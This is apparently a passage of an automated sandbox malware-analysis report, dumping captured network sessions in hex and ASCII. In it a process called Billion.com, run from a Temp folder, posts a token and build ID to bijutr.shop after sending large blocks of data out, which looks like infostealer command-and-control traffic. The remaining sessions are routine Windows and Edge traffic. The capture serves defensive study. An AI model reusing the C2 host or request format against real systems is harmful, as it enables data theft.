2024-12-24 18:28:07 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:07 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:07 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:09 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49893	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:08 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----WTRQIE37YCBIM7Q16XBI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:08 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 54 52 51 49 45 33 37 59 43 42 49 4d 37 51 31 36 58 42 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 57 54 52 51 49 45 33 37 59 43 42 49 4d 37 51 31 36 58 42 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 57 54 52 51 49 45 33 37 59 43 42 49 4d 37 51 31 36 58 42 49 0d 0a 43 6f 6e 74 Data Ascii: ------WTRQIE37YCBIM7Q16XBIContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------WTRQIE37YCBIM7Q16XBIContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------WTRQIE37YCBIM7Q16XBICont
2024-12-24 18:28:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:09 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49936	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:24 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6e 6a 4b 6c 45 37 56 38 45 30 2b 55 6e 6e 65 55 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 36 31 35 30 37 31 33 62 34 32 39 31 30 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: njKlE7V8E0+UnneU.1Context: a66150713b42910d
2024-12-24 18:28:24 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 18:28:24 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6e 6a 4b 6c 45 37 56 38 45 30 2b 55 6e 6e 65 55 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 36 31 35 30 37 31 33 62 34 32 39 31 30 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: njKlE7V8E0+UnneU.2Context: a66150713b42910d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-24 18:28:24 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6e 6a 4b 6c 45 37 56 38 45 30 2b 55 6e 6e 65 55 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 36 31 35 30 37 31 33 62 34 32 39 31 30 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: njKlE7V8E0+UnneU.3Context: a66150713b42910d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 18:28:24 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 18:28:24 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 73 2f 34 33 62 6e 41 47 30 6d 37 54 77 59 4e 42 4a 2f 57 61 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 8s/43bnAG0m7TwYNBJ/Waw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49951	142.250.181.65	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:26 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-24 18:28:27 UTC	569	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 154477 X-GUploader-UploadID: AFiumC6S2jmC7QJw9b-GO0FcK3j_8jmaYtT4H0NPtvPxtsq_YC74RGO1fm5_nTZSJUOdT76aBedcQQY X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Tue, 24 Dec 2024 15:58:14 GMT Expires: Wed, 24 Dec 2025 15:58:14 GMT Cache-Control: public, max-age=31536000 Age: 9013 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-24 18:28:27 UTC	821	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-24 18:28:27 UTC	1390	IN	Data Raw: b5 fc 3c 0f e3 f9 d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 Data Ascii: <Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr
2024-12-24 18:28:27 UTC	1390	IN	Data Raw: 78 c3 9a 50 64 5d fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd Data Ascii: xPd]@uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[u
2024-12-24 18:28:27 UTC	1390	IN	Data Raw: e1 6d c0 c8 18 51 ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd Data Ascii: mQVkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iG
2024-12-24 18:28:27 UTC	1390	IN	Data Raw: c3 10 d6 1f b2 cd fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2024-12-24 18:28:27 UTC	1390	IN	Data Raw: ad 00 5e b3 4e cb 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 Data Ascii: ^Ns=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>
2024-12-24 18:28:27 UTC	1390	IN	Data Raw: a5 20 e7 31 76 b4 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 Data Ascii: 1v=K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g
2024-12-24 18:28:27 UTC	1390	IN	Data Raw: 02 c0 b2 db c0 47 fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 Data Ascii: GfO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F
2024-12-24 18:28:27 UTC	1390	IN	Data Raw: 08 3f f4 d3 de f8 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 Data Ascii: ?AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1
